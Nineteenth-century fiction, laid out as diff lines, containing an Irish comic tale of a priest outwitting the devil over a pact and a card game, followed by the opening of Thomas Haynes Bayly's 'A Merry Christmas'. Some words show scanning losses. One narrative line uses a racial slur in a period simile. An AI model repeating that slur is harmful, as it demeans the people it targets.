+a substantial one. I, while taking "mine ease in mine inn," had seen the
+travellers arrive; and, the door being ajar, heard the "to ride or not
+to ride" debated. That question settled, other cares arose.
+
+"Tim," said the younger guest to the landlord, as he nodded
+significantly at the goose, "I'm hungry as a hawk."
+
+The host shrugged his shoulders, and, pointing to the "great chamber,"
+where I was seated, replied in an undertone, "There's a customer before
+ye, Master Johnny."
+
+"A customer!--only one, Tim?"
+
+"Sorrow more," replied the host.
+
+"Why, the curse of Cromwell on ye for a cormorant!" said the traveller.
+"Three priests, after confessing half a parish, would scarcely demolish
+that wabbler. I'll invite myself to dinner; and if I be not in at the
+dissection, it won't be Johnny Dixon's fault."
+
+"Arrah! the devil a fear of that," returned the landlord. "Your modesty
+nivir stopped your promotion, _Shawn avourneen_![53]" and he of the Cock
+and Punchbowl laughed heartily as the traveller entered the parlour.
+
+He was a stout, middle-sized, foxy-headed fellow of some six or
+eight-and-twenty. His face was slightly marked with small-pox, and
+plain, but not unpleasing. The expression was good-humoured and
+intelligent; while, in the sparkle of his light blue eye, there was a
+pretty equal proportion of mirth and mischief. He advanced to me with
+perfect nonchalance; nodded as if he had known me for a twelvemonth;
+and, as if conferring a compliment, notified with great brevity that it
+was his intention to honour me with his company. No proposition could
+have pleased me better, and it was fortunate that I had no wish to
+remain alone; for, I verily believe, the traveller had already made up
+his mind, _coute qui coute_, to aid and assist in demolishing the bird
+that saved the Capitol.
+
+Presently the hostess announced that all preparations were complete. The
+traveller, who had been talking of divers affairs, rural and political,
+suddenly changed the conversation. "There was," he said, "an unlucky
+sinner outside, who like himself had been storm-stayed that evening. He
+was a priest's nephew, a harmless poor devil, whom the old fellow had
+worked like a nigger, until one sweet evening he smothered himself in
+poteen-punch, leaving Peter Feaghan a kettleful of gold. If he, Peter,
+were only let in, he would pray for me during life; and, as to eating,
+would be contented with the drumsticks."
+
+I laughed, and assented; and "Master Johnny" speedily produced a
+soft-looking, bullet-headed farmer; who, after scraping his leg across
+the floor, sate himself down at the corner of the table.
+
+Dinner came. I, since I breathed the keen air of Connemara, had felt a
+quickened appetite; but "Master Johnny" double-distanced me easily as
+a trencher-man, and he, in turn, could not hold a candle to the nephew
+of the defunct priest. Peter Feaghan was a silent and a steady workman,
+and I firmly believe the drumsticks were regularly skeletonized before
+the priest's heir was disposed to cry "Hold, enough!" At last the cloth
+was removed; and a quart-bottle, a basin of sugar, with a jug of boiling
+water of enormous capacity, were set down.
+
+"What an infernal night it is!" ejaculated the younger traveller, as a
+gust of wind drove the hail against the window. "Were you not in luck,"
+he continued, "that chance drove two Christian men, like Peter and me,
+among the mountains? Honest Tim is speechless by this hour, or he has
+shortened his allowance greatly since I was here last. No flirting in
+the house, for Mrs. Corrigan is a Carmelite, and _Brideen dhu_[54] has
+bundled off with a _peeler_.[55] In short, you must have got drunk in
+self-defence, and, for lack of company, as I have often done, drank one
+hand against the other."
+
+"Or," said I, "diluted the poteen with a draught of 'The Devil's
+Elixir.'"
+
+"The Devil's Elixir!" repeated the foxy-headed traveller; "and pray what
+may that be?"
+
+In reply, I handed him a volume of the Prussian Counsellor; he looked
+at the title-page, and read the motto, "_In that yeare the Deville was
+als seene walking publiclie on the streetes of Berline_." Laughing
+loudly, he turned to the priest's heir.
+
+"Holy Mary! had your poor uncle Paul been in town, he would have had a
+shy at ould Beelzebub, or made him quit the flagway."
+
+"And who was Uncle Paul?" I inquired of the stranger.
+
+"What!" he exclaimed, in manifest astonishment, "not know that excellent
+and gifted churchman,--one before whom the devil shook like a whipped
+schoolboy?"
+
+"And was Mr. Feaghan's influence over him, surnamed 'the Morning Star,'
+so extraordinary?"
+
+"Extraordinary you may well call it," resumed Foxy-Head. "The very
+mention of Paul's name would produce an ague-fit. Many a set-to they
+had--a clear stage and no favour--and in all and every, the devil was
+regularly floored. There is the old house of Knockbraddigan,--for
+months, man, woman, or child could not close an eye. Priest, monk,
+and friar, all tried their hands in vain. Holy-water was expended
+by the gallon--masses said thrice a week--a saint's finger borrowed
+for the occasion, and brought all the way from Cork,--and even the
+stable-lantern had a candle in it, blessed by the bishop. For all these
+'Clooty' did not care a button, when Father Paul toddled in, and saved
+the house and owner."
+
+"Indeed?"
+
+"Ay! and I'll tell you the particulars. It was the year after the
+banks broke--times were bad--tenants racked--and Tom Braddigan, like
+many a better man, poor fellow! was cleaned out by the sheriff. Never
+was a _shuck_[56] sinner harder up for a few hundreds; and, to make a
+long story short, _Hoofey_ came in the way, and Tom 'sould himself'
+regularly. I never heard the sum, but it is said that it was a large
+figure; and that, to give the devil his due, he never cobbled for a
+moment, but paid a sporting price, and came down like a man. Well,
+the tenure-day came round; Clooty was true to time, and claimed his
+customer: but Tom was awake; Paul Feaghan was at his elbow, and, as it
+turned out, Paul proved himself nothing but a good one.
+
+"'Arrah! what do ye want here, honest man?' says the priest to the
+devil, opening the conversation civilly.
+
+"'No offence, I suppose,' says the other, 'for a body to look after his
+own.'
+
+"'None in the world,' replied Father Paul, answering him quite politely;
+and all the while, poor Tom shaking like a Quaker.
+
+"'Mr. Braddigan,' says the devil, 'we have a long drive before us, and
+the carriage is waiting. Don't mind your _Cotamore_,[57] Tom; and the
+eternal ruffian put his tongue in his cheek. 'Though the day's cold,
+'pon my conscience, you shall have presently an air of the fire.'
+
+"'Asy,' says the priest, 'what call have you to a Catholic?'
+
+"'A Catholic!' replied the devil, with a twist of his lip, mimicking
+Father Paul; 'maybe your reverence would tell us when he was last at
+confession?'
+
+"At this the priest lost temper. 'What the blazes,' says he, 'have you
+to do with that? Was there any body present at the bargain _betune_[58]
+ye?'
+
+"'Hell to the one,' replied the devil.
+
+"'Then,' says Father Paul, 'sorrow leg you would have to stand on if the
+whole thing came before the barrister.'
+
+"The devil gave a knowing look, and, dipping his hand into the left
+breeches-pocket, took out a piece of paper, and, as an attorney shows
+the corner of a promissory-note to an unwilling witness, he held it out
+to Tom, and asked him was it his hand-writing: 'Tummas a Brawdeen,'[59]
+says he, in Irish, 'is that yer fist?'
+
+"'There's no denying it,' says Tom, with a shudder.
+
+"'Then draw on yer boots, and let us be jogging.'
+
+"'Asy,' says Father Feaghan. 'Did ye get the consideration, Tom?'
+
+"The devil seemed uncommonly affronted. 'Paul Feaghan,' says he, 'I
+didn't think you would suppose that I would take his I.O.U. and not
+post the coal! By my oath,' he continued, 'and let him contradict me if
+he can, a Tuam note he would not touch with the tongs; and the devil
+a flimsy would go down with him, good or bad, but a regular Bank of
+Ireland!'
+
+"'Oh, be Jakers!' says the priest, 'you're done, Tom! Show me the note.'
+
+"'Bedershin!' says the devil, clapping his right fore-finger on his nose.
+
+"'Honour bright!' replied Father Paul.
+
+"'Will ye return it?' inquired Old Hoofey.
+
+"'Will a duck swim?' says the priest. 'Be this book,' says he, laying
+his hand upon the tea-caddy, 'ye shall have it in two twos.'
+
+"'There it is, then,' replied the other, 'and make your best of it.
+Come, Tom, there's no turnpikes to pay where you're going to; so on with
+your wrap-rascal,' pointing to the cotamore.
+
+"But, sorrow wink was on Father Feaghan all the while. He examined the
+note, and not a letter was wanting. It was regular, as if the devil had
+been bound to an attorney--drawn on a three-shilling stamp,--and, as he
+turned it round and round, it crumpled like singed parchment.
+
+"'You're dished,' ejaculated his reverence, looking over at Tom.
+
+"'Murder! murder!' says he, as Hoofey held out his hand for the I.O.U.
+
+"'Arrah!' says Father Paul, 'do ye keep your papers in a tinderbox?'
+
+"'They're over dry, I allow,' replied the devil; 'but in my place it's
+hard to find a cool corner.'
+
+"'We'll damp this one a little,' says the priest, slipping his hand fair
+and asy into a mug of holy-water, and splashing half a pint of it on
+_Tummas a Brawdeen's_ note. 'Put that in yer pocket to balance yer pipe.'
+
+"In a moment the devil changed colour. 'Bad luck attend ye night and
+day, for a circumventing villain!' says he.
+
+"'Off with ye, you convicted ruffin!' roared Father Paul, making a
+flourishing [cross]; and before Tom Braddigan had time to bless himself,
+Clooty went up the chimney in a flash of fire, leaving the room
+untenantable for a fortnight, from the sulphur; and _Tummas a Brawdeen_
+sung, for the remainder of his life, 'Wasn't that elegantly done?'"
+
+"Nothing could be better," said I, as Red-head closed his story. "What
+a sensation the affair must have occasioned. 'Like angels' visits,' I
+presume, the old gentleman's are 'few and far between?'"
+
+"By no means," returned the stranger, "there are few families of any
+fashion in this country, who have not, at some period or other, been
+favoured with a call; and I myself was once honoured by his company at
+supper."
+
+I stared at the man; but he bore my scrutiny without flinching.
+
+"Had you a party to meet his Satanic Majesty?" I inquired, with a smile.
+
+"Not a soul," replied he. "We supped _tête-à-tête_; and a pleasanter
+fellow never stretched his legs beneath a man's mahogany."
+
+"You certainly have excited my curiosity not a little," said I.
+
+"If I have," returned the fox-headed stranger, "I shall most willingly
+give you a full account of our interview.
+
+"It was the first Friday after the winter fair of Boyle. I was returning
+home in bad spirits; for, though I sold my bullocks well, I had been
+regularly cleaned out at loo, and hit uncommonly hard in a handicap. For
+three nights I scarcely won a pool, and that was bad enough; but to lose
+the best weight-carrier that was ever lapped in leather, for a paltry
+ten-pound note, and a daisy-cutter with a fired leg and feathered eye,
+would make a saint swear, and a Quaker kick his mother.
+
+"Night had closed in, as I passed the cross-roads of Kilmactigue,
+about two miles from home; and I pulled up into a walk, to bring my
+bad bargain cool to the stable. Just then I heard a horse behind me,
+coming on in a slapping trot; and, before you could say Jack Robinson, a
+strange horseman was beside me.
+
+"'Morra,[60] Mistre Dixon,' says he.
+
+"'Morra to ye, sir,' says I, turning sharp about to see if I could
+know him. He looked in the dim light a 'top-sawyer,' and, as far as I
+could judge, the best-mounted man I had met for a month of Sundays. He
+appeared to be dressed in black; his horse was the same colour as his
+coat, and I began to tax my memory, hard, to recollect the place where
+he and I had met before.
+
+"'You have the advantage of me, sir,' says I.
+
+"'Faith, and that's odd enough,' says he, 'for you and I rode head and
+girth together at the stag-hunt at Rathgranaher.'
+
+"'Death and nouns!' says I, 'is this Mr. Magan?'
+
+"'I believe so,' says he, 'for want of a better.'
+
+"'Ah! then,' said I, 'I'm glad I met you. Is that the black mare that
+carried you so brilliantly?'
+
+"'The same,' he replied.
+
+"'No wonder I didn't know ye: you wore at Rathgranaher a light-green
+coatee, and now you're black as a bishop.'
+
+"'I buried an aunt of mine lately,' says he.
+
+"'Maybe you could do as much for a friend,' replied I; 'I have a couple
+at your service; and, as I pay them a hundred a year, I wish them often
+at the devil.'
+
+"'I'll make no objection on my part,' replied Mr. Magan. 'But how far is
+it to Templebeg? It will be late before I reach it, I fear.'
+
+"'It's the worst road in Connaught,' said I: 'my den is scarcely a mile
+off; and, if you are not in a hurry, turn in for the night, and you
+shall have a warm stall, a grilled bone, and a hearty welcome.'
+
+"'Never say it again,' says Mr. Magan; and on we rode, cheek by jowl,
+talking of fairs, horses, and the coming election. Lord! nothing came
+amiss to him: he was up to every thing, from _écarté_ to robbing the
+mail-coach; and in politics so knowing, that one while I fancied him a
+Whig, and at the next I would have given my book oath he was a black
+Orangeman.
+
+"Before we reached the avenue, I tried if he would 'stand a knock.'[61]
+
+"'Would you part with the mare?' says I.
+
+"'If I was bid a sporting price, I would part with my grandmother, if I
+had one,' was the reply.
+
+"'What boot will you take, and turn tails?' said I.
+
+"'Neighbour,' replied Mr. Magan, 'it must be a long figure that gets
+Black Bess. What's that you're riding?'
+
+"'A thorough-bred four-year old, by Langar, out of a Tom Pipes mare.'
+
+"'Bedershin!' says Mr. Magan; 'Tom died before you were born.'
+
+"This was a hard hit. Devil a one of me knew how the horse was bred;
+but, as he happened to be a chestnut, I thought I would give Langar for
+a sire. Pretending not to hear the remark, I continued,
+
+"'He's uncommon fast up to twelve stone; will take five feet, 'coped and
+dashed,' without a balk; and live the longest day with any fox-hounds on
+the province. At three years old, Peter Brannick refused fifty for him.'
+
+"'And didn't ask a rap for a dark eye and a ring-bone,' observed Mr.
+Magan.
+
+"'Oh!' says I, to myself, 'Magan, there's no coming over ye!' So I
+thought that I had better leave horse-flesh alone, and try if I could
+draw him at a setch of loo, or a hand of five and ten.
+
+"With that we had ridden into the yard, and given our prads to the men,
+with a hundred charges from the stranger, that his mare should have a
+bran-mash and warm clothing. Well, I ushered him into the parlour, and
+there was a roaring fire, and the cloth laid for supper; for, luckily
+enough, Judy Mac Keal had expected me home. Mr. Magan took off his
+cotamore, laid his hat and whip aside, and then threw his eyes over the
+apartment.
+
+"'_Mona mon diaoul!_'[62] says he, 'if there's a snugger hunting-box
+between Birr and Bantry.'
+
+"'Oh!' said I, 'the cabin's well enough for a loose lad like me.
+Everything here is rough and ready; and, as it's a bachelor's shop, you
+must make allowances.'
+
+"'Arrah! nabocklish![63] I'm a single man myself, and it's wonderful how
+well I get my health, and manage with a housekeeper. By-the-bye,' and he
+looked knowing as a jailor, 'is Judy Mac Keal with you still?'
+
+"'And what do you know about Judy, neighbour?' says I.
+
+"'Don't be offended,' replied he. 'The boys were joking after supper
+at Dinny Balfe's; and Maurice Ffrench named her for face and figure,
+against any mentioned, for a pony.'
+
+"'Ffrench is a fool!' I replied. 'But as you know Judy already, we'll
+ring, and see if there's any chance of supper.'
+
+"She answered the bell; told us the ducks were at the fire, and that in
+half an hour all would be ready. When she went away, Magan swore she
+was the best-looking trout he had laid eyes on for a twelvemonth; and,
+spying out a pack of cards upon the chimney-piece, proposed that we
+should kill time with a game of hookey or lansquenet.
+
+"It was the very thing I wanted; but I took the offer indifferently.
+
+"'Egad! I'm afraid of you,' says I, as I laid the pack upon the
+table-cloth. He cut the cards.
+
+"'The deal is yours. What an infernal ass I am to touch paper,' says
+he; and kissing the knave of clubs. 'By this book, I'm such an unlucky
+devil, that I verily believe, had my father bound me to a hatter, men
+would be born without heads. Come, down with the dust!' and he pulled
+from his breast-pocket a parcel of notes as thick as an almanack. They
+were chiefly fives and tens; and when I remarked them all the black
+bank,[64] I set him down a Northman.
+
+"We played at first tolerably even; but, by the time supper was served,
+I found myself a winner of twenty pounds. This was a good beginning; and
+I determined to continue my good luck, and, if I could, do Mr. Magan
+brown.
+
+"Down we sate; my friend had an excellent appetite, and finished a duck
+to his own share. We drank a bottle of sherry in double-quick, got the
+cards again, and called for tumblers and hot water.
+
+"Judy brought in the materials, and Mr. Magan began to quiz her.
+
+"'Arrah! Miss Mac Keal,' says he, 'will ye come and keep house for me,
+and I'll double your wages?'
+
+"'And where do ye live?' replied she.
+
+"'Down in the North,' returned Magan; 'and I have as nate a place, ay,
+and as warm a house, as ever you laid a foot in!'
+
+"'Have done with your joking,' says Judy, 'and go home to your own
+dacent wife.'
+
+"'I have her yet to look for,' replied he.
+
+"'Devil have the liars,' says Judy.
+
+"'Ah then, amen!' said Magan.
+
+"'I wouldn't believe ye,' continued she, 'if you kissed the vestment on
+it.'
+
+"'_Liggum lathé_,'[65] says he.
+
+"'Why, what good Irish you have for a Northman!' replied Judy.
+
+"'My mother was a Munster woman,' says Mr. Magan.
+
+"'Is she alive?' inquired she.
+
+"'Dead as Cleopatra,' he said, with a laugh; and Judy afterwards
+remarked, 'she knew he was a rascal, or he would have added, 'God rest
+her soul!'
+
+"When the housekeeper disappeared, the stranger filled a bumper. 'Egad!'
+thought I, 'I'll try him now, whether he be radical or true-blue; and,
+lifting up the tumbler, I proposed, 'The glorious, pious, and immortal
+memory--'
+
+"'Of the great and good King William,' says he, taking the word out of
+my mouth.
+
+"'Who freed us from Pope and popery, knavery, slavery--'
+
+"'Brass money, and wooden shs,' returned the Northman.
+
+"'May he who would not, on bare and bended knee, drink this toast, be
+rammed, crammed--'
+
+"'And damned!' roared Magan, as if the sentiment came from his very
+heart. 'Here's the Pope in the pillory, and the Devil pelting priests at
+him!' cried the Northman; and, with a laugh, off went the bumpers, and
+we commenced the cards anew.
+
+"Well, sir, that night I had the luck of thousands. The black bank-notes
+came over the table-cloth by the dozen; and, as the Northman lost his
+money, his temper went along with it. He cursed the cards, and their
+maker; swore he would book himself[66] against bones and paper for a
+twelvemonth; made tumbler after tumbler; and, as he drank them boiling
+from the kettle, I wondered how he could swallow poteen-punch hot enough
+to scald a pig.
+
+"'Come,' says he, in a rage, 'I see how the thing will end; and the
+sooner I am cleaned out, the better. Instead of a beggarly flimsey, fork
+out a five-pound note.'
+
+"'With all my heart,' replied I.
+
+"'Curse of Cromwell attend upon all shmakers!' ejaculated Mr. Magan,
+with a grin.
+
+"'Arrah! what's vexing ye now?' says I, pulling the third five-pounder
+across the cloth.
+
+"'Every thing!' returned he, 'I have the worst of luck, a tight boot,
+and a bad corn.'
+
+"'I'll get ye slippers in a shake.'
+
+"'Mind your cards,' says he, rather cross; 'there's nobody here but
+ourselves, and I'll pull off my boot quietly under the table!'
+
+"He did so: we continued play; and, though he lost ahead, he recovered
+his temper, and seemed to bear it like a gentleman. It was quite clear
+that the boot had made him cranky. No wonder: an angry corn and tight
+shoe would try the patience of a bride.
+
+"Well, the last of his bundle of bank-notes was in due course
+transferred to me, and I fancied I had him 'polished off;' but, dipping
+his hand into his big-coat pocket, he produced a green silk purse,
+half a yard long, and stuffed, apparently, with sovereigns. I lighted
+a cigar, and offered him another, but he declined it; and, after
+groping his _cotamore_ for half a minute, produced a _dudheen_,[67]
+which he lighted at the candle. I have smoked tobacco here these ten
+years,--Persian or pigstail were all the same to me;--but the first
+whiff of Magan's pipe I thought would have smothered me on the spot.
+
+"'Holy Bridget!' says I, gasping for breath. 'Arrah! what stuff is that
+you're blowing?'
+
+"'It's rather strong,' says he, 'but beautiful when you're used to it.
+Cut the cards; and, as they say in Connaught, 'if money stands, luck may
+turn.'
+
+"Just then Judy come in to ask Mr. Magan if he would have a second pair
+of blankets on his bed.
+
+"'Will you come with me?' says he, putting his arm round her jokingly.
+
+"'God take ye, if possible!' cried Judy: 'pheaks! ye'r not over well
+honest man, for your hand's in a fever!'
+
+"'It's the liker my heart, Judy,' and he gave her a coaxing smile.
+
+"'Sorrow one of me liked his making so free. 'Go on with your game,'
+says I, 'and don't be putting your _comether_[68] over my housekeeper.'
+
+"At the moment a horse-tramp was heard in the yard, and Judy ran to the
+window.
+
+"'Who's that?' says I. 'Devil welcome him, whver he is;' for I thought
+he would interrupt us.
+
+"'It's a short man on a grey pony,' says Judy, 'with a big blue cloak
+about him.'
+
+"'Phew!' and I whistled. 'It's Father Paul Feaghan.'
+
+"'Father Paul!' ejaculated Mr. Magan, turning pale as a shirt-frill, and
+dropping the _dudheen_ on the floor.
+
+"'Oh, death and nouns! the carpet will be ruined!' roared Judy, plumping
+down upon her knees, and snatching at the pipe; but, before she reached
+it, she gave a wild scream, as if she saw a ghost, and began blessing
+herself busily. But, scarcely had she made the sign of the [cross], when
+a thunderclap shook the lodge; a blaze lightened through the
+supper-room, and Mr. Magan, taking with him the black bank-notes, and
+the hand of cards he was playing with, vanished up the chimney. No doubt
+he would have taken the roof away into the bargain, had not Father Paul
+been fortunately so near us."
+
+"And," said I, "did no other evil consequences attend this unhallowed
+visit?"
+
+"Evil consequences!" returned Johnny Dixon, as he repeated my words:
+"my stable-boy was frightened into fits; Judy Mac Keal kept her bed for
+a fortnight,--and, _mona mon diaoul!_[69] thirty shillings did not pay
+the glazier--for Magan,--the Lord's curse light upon him!--smashed the
+windows into smithereens. But it grows late," he continued, addressing
+his companion; "and you and I, Peter, must be up ere cockcrow. Good
+night, sir!" and he turned to me. "Should you ever meet Mr. Magan--while
+you remain in his society, never be persuaded, as they say in Mayo, to
+'prove agreeable;' or, 'fight, flirt, play cards, or hold the candle.'"
+
+[NOTE.-The story was told me at a supper-table by a Connaught gentleman,
+with the most profound gravity imaginable. He, the hero, believed
+it religiously himself; and w be to the sceptic who gainsayed its
+authenticity.
+
+Poor Johnny lies under a ton weight of Connemara marble. _Requiescat!_
+A better fellow never took six feet in a stroke, carried off a third
+bottle, or gave a job to the coroner. _Requiescat! Amen!_]
+
+[53] _Anglicè_, John, my jewel.
+
+[54] _Anglicè_, Black Biddy.
+
+[55] A policeman.
+
+[56] An Irish phrase, synonymous with _distressed_.
+
+[57] Great-coat.
+
+[58] Between.
+
+[59] _Anglicè_, Tom Braddigan.
+
+[60] Good-morrow.
+
+[61] A handicap.
+
+[62] An Irish imprecation.
+
+[63] Be quiet.
+
+[64] One of the Belfast banks is thus named.
+
+[65] _Anglicè_, Have it your own way.
+
+[66] Take his oath.
+
+[67] _Anglicè_, A short pipe.
+
+[68] A phrase expressive of using the power of persuasion.
+
+[69] My soul to the devil.
+
+
+
+
+                       A MERRY CHRISTMAS.
+                    BY THOMAS HAYNES BAYLY.
+
+                                   Dover, December 20th, 1836.
+            DEAR YOUR LORDSHIP,--I never writ to a lord before,
+            and don't do it now spontaneous; but Mrs. Miggins
+            desires me to ask you to join our Christmas party
+            next week. Now I think that will be what you call a
+            bore, because 'tisn't only us ourselves, but I can't
+            give up old friends and relations, and so there'll be
+            more Migginses than you ever saw before; and, always
+            excepting daughter Sophy, I suspect you've seen more
+            already than you ever wish to see again. However,
+            daughter Sophy did seem to attract your notice like,
+            last autumn here, when you was staying with the duke.
+            I saw clear enough you didn't want the duke nor the
+            duchess to know about it, and so I were glad when you
+            took yourself away; but Sophy hankers after you, and
+            my wife says,--and she's right enough there, though it
+            dsn't generally follow that a thing's right because
+            she says it,--that there's no reason why daughter
+            Sophy shouldn't be a lord's wife and a lady herself,
+            like other fine girls no ways her betters; and, though
+            I did make my money in the soap and candle line, the
+            money, now it's made, an't the worse; and so, if you
+            really wants to marry Sophy, say it out and out, and
+            I'll give my consent. It is but fair and right to tell
+            your Lordship that there's another young man desperate
+            about her,--not, when I say another young man, that
+            I mean to call your lordship a young man, for I know
+            that wouldn't be respectful. However, if I had my
+            own way in all things,--which I haven't, and few men
+            have,--Captain Mills of the artillery would be the man
+            for Sophy. He's a mighty proper man to look at, and
+            I've asked him down to spend Christmas here too; so, if
+            your lordship don't think it worth while to come, why
+            only say the word, and, to my thinking, Captain Mills
+            will have a good chance.
+
+            People do report things that I don't want
+            to believe about your lordship's ways of going on;
+            but if you do marry Sophy, hang it! make her happy.
+            Don't take her away from them as loves her, and then
+            be neglectful and unkind; for she don't know yet what
+            unkindness is, and I know 'twould break her heart,
+            and then I should break mine, and my poor wife would
+            follow,--so that would break us all. But a lord must
+            be a gentlemen, and a gentleman can't behave like a
+            blackguard to a woman. So some down here on Saturday
+            the 24th, and we'll have a merry Christmas and a happy
+            New Year. In all which my wife and Sophy do join. So
+            no more at present From your dear lordship's humble
+            servant at command,        PETER MIGGINS.
+
+Peter Miggins's letter to Lord John Lavender has probably sufficiently
+introduced him to the reader. The right honourable personage to whom
+that letter was addressed was the youngest son of a duke, and in all
+respects as great a contrast to all the blood of the Migginses as can
+possibly be imagined.
+
+Lord John had been, for many years, one of the best-looking men about
+town; so many years, indeed, had he been a beauty, that it was quite
+wonderful to detect no change in his figure, face, or manner. He still
+looked as he always had looked, and probably always intended to look.
+There is this one great advantage in beginning to _make up_ early
+in life,--nobody detects any difference. The toilet requires a more
+protracted attention, and a steadier hand; but, once completed, to the
+eye of the observer the colours and the outline are the same. No woman
+ever thought more about her appearance than did Lord John Lavender; yet
+there was a manliness in his manner and conversation which rescued him
+from the charge of effeminacy.
+
+He was devoted to the fair sex; so much so, that the world could
+not help giving him credit for being so sedulously attentive to the
+beautification of his person solely that he might render himself
+agreeable in their eyes.
+
+He certainly succeeded most admirably; and, at the same time that he
+was in all societies courted and caressed by the fairest and the most
+distinguished, there was one little well-known theatrical connexion,
+_of_ which we will say as little as possible, and _to_ which old Mr.
+Miggins had alluded in his letter.
+
+Lord John Lavender's income was small, his expectations minute, his
+expenses great, and his debts amounted to his overplus expenditure
+for the number of years he had been about town. Of the sum total of
+his incumbrances he was ignorant. Bills came in at stated periods,
+and were carelessly thrown aside; for what was the use of looking at
+their amount, knowing beforehand that he could not pay them? But he was
+aware this could not go on for ever; he knew that, according to custom,
+tradesmen would trust him, as they constantly trust others, almost to
+any amount, for a certain period, without having from the first the
+slightest reason to suppose that the individual so trusted would ever be
+in a condition to pay them; and then all of a sudden they would pounce
+upon him, demand payment of all arrears, and trust no more.
+
+Now, it was quite impossible for Lord John to think of retrenchment.
+Among the absolute necessaries of life he reckoned at least two pair of
+primrose kid gloves a-day, at three shillings a-pair. Two guineas a-week
+for gloves,--the price of a moderate bachelor's lodging! Life would be
+intolerable without such things; so, in order that he might continue in
+the land of the living, his fastidious lordship had deigned to smile
+upon Miss Sophy Miggins, and had permitted the idea of marriage with a
+plebeian to enter his aristocratic mind.
+
+No wonder that Sophy should be dazzled by smiles from such a quarter.
+She was pleased and flattered, and imagined that she liked his lordship
+exceedingly, though she never felt at ease in his presence. He was
+so unlike everybody with whom she had been accustomed to associate,
+that she had sense enough to suppose she must be equally unlike his
+former companions, and she was always afraid of exciting his wonder and
+ridicule by some awkward breach of the usages of good society. But then
+to walk about with a lord, was a thing not to be resisted; and though
+she would have been much happier with the Captain Mills of whom her
+father made honourable mention in his letter to Lord John, still she
+never could bring herself to reject the proffered arm of his lordship.
+
+And had she made up her mind to accept the _hand_ of Lord John Lavender,
+should that also in due course of time be proffered? Not exactly; but
+Mrs. Miggins had decided for her. That his intentions were honourable,
+she could not doubt. Honourable! nay, was he not a _right_ honourable
+lover? So, in full expectation of an offer for her daughter, the
+old lady bought a "Peerage," placed it in a conspicuous part of her
+drawing-room, and looked very coldly on Captain Mills.
+
+The captain was ordered to Woolwich; and Lord John having left Dover,
+Sophy could not, at parting, help evincing to poor Mills a little of
+the partiality which she felt. Such was the position of affairs when
+Mr. Miggins, who had no notion of men (nor lords neither) being shilly
+shally, as he called it, was determined to bring matters to a crisis.
+He therefore, after much serious cogitation, wrote the letter which has
+been confidentially exhibited to the reader; and also another, requiring
+infinitely less forethought, which he dispatched to Captain Mills.
+
+"What day of the month is it?" said Lord John to his valet, after
+perusing the epistle of his Dover correspondent.
+
+"The twenty-first, my lord."
+
+"The twenty-first!" exclaimed his lordship finishing his
+coffee.--"Wednesday, I declare!--and Sunday is Christmas-day! If I go at
+all, I must go on Saturday at latest."
+
+"My lord?"
+
+"I must go to Dover, Friday or Saturday."
+
+"Oh! on your way to the Continent? I think it would be advisable, my
+lord."
+
+"The Continent! no:--why advisable?"
+
+"Why, my lord; _may_ I speak?" inquired Faddle, as he removed breakfast.
+
+"Certainly: what have you to say?"
+
+"Why, the tradespeople, my lord:--just at Christmas-time the bills do
+fall in like a shower of paper-snow in a stage-play."
+
+"Oh! and you think I must get out of the way, and let the storm blow
+over, eh?"
+
+"I do, indeed, my lord; for I'm sorry to say it's very threatening."
+
+"Oh, well! we'll go as far as Dover; there's no occasion to cross that
+odious channel."
+
+"If I may make bold to ask, why will your lordship be safer at Dover
+than in London?"
+
+"Don't you remember that pretty girl, Faddle? the girl with the rich
+father,--Miss Miggins?"
+
+"Oh! _marriage!_" said Faddle, with a very deep sigh.
+
+"Yes, Faddle, marriage."
+
+"And here's a billet from May-fair!"
+
+"Ah! let me see;" and Lord John opened an elegant little note, penned on
+a rose-leaf,--at least, in colour and fragrance it resembled one.
+
+"She acts to-night, and desires me to dine with her on Christmas-day.
+Leave me, Faddle. Give me pen, ink, and paper; send me the _coiffeur_
+directly. I must speak to Tightfit's man at one; appoint Heeltap at two,
+and Gimcrack and Shine a quarter of an hour later."
+
+"To speak about their bills, my lord?"
+
+"Oh dear, no; to elongate their bills. But _they_ are too distinguished
+in their respective lines to breathe a hint about the _trifles_. As to
+the _canaille_ of tradesmen, mention my intended marriage."
+
+"Oh! it's settled?"
+
+"Why, to be sure; you don't suppose I've anything to do _but to go_!"
+
+The valet bowed, and left the noble lord to his meditations. At three he
+was in his cab,--at five in May-fair,--at eight in the green-room.
+
+Rapidly passed Thursday and Friday; and, among his many preparations
+for departure on Saturday, Lord John forgot to write to his future
+father-in-law, to intimate that it was his intention to depart. No
+matter; they would only be the more delighted at his unexpected arrival.
+Faddle packed up all his things; and, as his cambric handkerchiefs and
+kid gloves entirely filled one portmanteau, some notion may be formed
+of the quantity of luggage which it was absolutely necessary for him to
+take.
+
+All this, however, was despatched by the mail on Friday night, directed
+to "Lord John Lavender, Worthington's Ship Hotel." On Saturday morning,
+his lordship, accompanied by his faithful Faddle, was to follow in a
+post-chariot and four. But Saturday morning came, and with it came
+another rose-leaf, on which were lines so delicately penned, that----
+
+Suffice it to say that Lord John Lavender postponed his departure, dined
+in May-fair on Christmas-day, and, having resolved to travel all night,
+ordered horses to be at the door at ten. He at length tore himself away,
+wrapped himself up in several cloaks, threw himself into a corner of
+the carriage, and fell fast asleep. Poor Faddle in the rumble was most
+uncomfortably situated. It was no common snow-storm that commenced on
+Christmas-night 1836, nor was it a commonly keen wind that blew upon
+him. He shivered and shook, muttering foul curses on May-fair; and
+very shortly became as white as a sugar ornament on the exterior of a
+twelfth-cake, and very nearly as inanimate. With much ado they reached
+Canterbury; their stopping suddenly, roused Lord John Lavender from his
+repose. Somebody tapped at the window, and most reluctantly he opened it.
+
+"If you please, my lord, we can't go any further," stammered the
+miserable and long-suffering Faddle.
+
+"If _I_ please! nonsense: horses out directly!"
+
+"They say it's not possible, my lord: we've come through terrible
+dangers as it is."
+
+"Not possible! why not?"
+
+"The snow, my lord."
+
+"Snow! nonsense!--as if it never snowed before! Tell them who I am. I
+say, you fellows, put horses to,--the distance is nothing;--go on;" and
+Lord John pulled up the glass, threw himself again into his corner, and
+the landlord, knowing that though they would inevitably be obliged to
+return, the horses must be paid for, tipped the postilion the wink, and
+on they went.
+
+_But not to Dover!_ Slowly they proceeded: now one wheel was up in the
+air, and then the other. Lord John was himself startled when he saw the
+deep drifts through which they waded; and when at last they stopped at a
+low miserable hovel by the road-side, he no longer urged the possibility
+of proceeding farther.
+
+"We must return to Canterbury."
+
+"Impossible, my lord: after we passed a part of the road which had been
+cut between two hills, an immense mass of snow fell, and blocked it up.
+It is a mercy it did not fall upon _us_;--we had a narrow escape."
+
